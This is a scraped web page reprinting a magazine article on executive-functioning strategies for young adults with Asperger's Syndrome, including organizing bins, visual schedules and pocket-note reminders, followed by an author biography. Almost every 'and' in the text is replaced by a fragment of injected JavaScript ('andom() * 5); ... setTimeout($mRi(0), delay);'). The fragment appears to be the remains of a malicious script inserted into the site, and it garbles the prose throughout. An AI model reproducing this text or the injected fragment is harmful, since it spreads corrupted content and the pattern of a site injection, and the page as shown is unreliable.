In the Press: Autism Parenting Magazine

Today, Tomorrow, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Yesterday: Executive Functioning Tools, Tips, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Techniques for Young Adults with Asperger’s Syndrome

Young adults with Asperger’s Syndrome often feel overwhelmed by their first attempts at independent living. Attending college, making friends, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and learning new skills can induce anxiety, forgetfulness, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and disorder. To be successful, young adults need to acquire executive skills.

Executive functions are cognitive abilities that control andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and regulate behaviors. These abilities are necessary for goal-directed behavior. Executive functions allow us to initiate andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and stop actions, to monitor andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and change behaviors andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and to plan future behaviors when faced with new tasks andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and situations. In order to master executive functioning, young adults with Asperger’s Syndrome need a set of tools andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and training to conceptualize andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and think abstractly.

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I know from having Asperger’s Syndrome myself, the problems that develop because of poor planning or the inability to be on time. Without learning strategies to prioritize tasks andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and communicate effectively, a person cannot operate a household, a personal life, or a relationship.

I recommend starting with the organization of personal living spaces. A system using color-coded bins to put shoes, clothing, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and other items in, as well as checklists or reminders taped to the entrance of each room is effective, useful, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and helps keep the young adult organized. Posting photos of what an acceptably clean kitchen, bathroom, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and bedroom looks like provides an additional visual cue.

Since many students with Asperger’s don’t have a good sense of time – basics to master time passing andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and getting a ‘sense of time’ by using a clock that has a red block showing time passing will help cement this concept. To organize personal routines, young adults can use cell phone reminders, day planners, computers, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and watches with alarms, as well as visual schedules andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and checklists to prioritize tasks. I have a system for remembering things that work for me: I put notes in my right pocket andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and pull these notes out several times a day. If something is more important, I put the note in my shirt pocket where I will feel the paper through my shirt. If I absolutely have to remember something, I will write some initials representing it on my handom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and. This keeps me moving from one task to the other in order of importance.

About The Author:

Michael McManmon, Ed.D. founded the College Internship Program (CIP) in 1984. He received a B.A. in English from Mt. St. Mary’s College in Marylandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and, a Masters in Counseling from Shippensburg University, a Masters in Human Development from the University of Kansas (through a grant from the National Institute of Mental Health), andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and a Doctorate in Special Education from the University of Nevada. Prior to Founding CIP, he worked for state, private andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and non-profit organizations in several states. During his 39 years of experience with students with Learning Differences andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Asperger’s Syndrome, Dr. McManmon has worked on Curriculum Development, Staff Training, Program Evaluation, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Administering Community Based Programming. He speaks andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and presents at professional conferences nationally andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and internationally.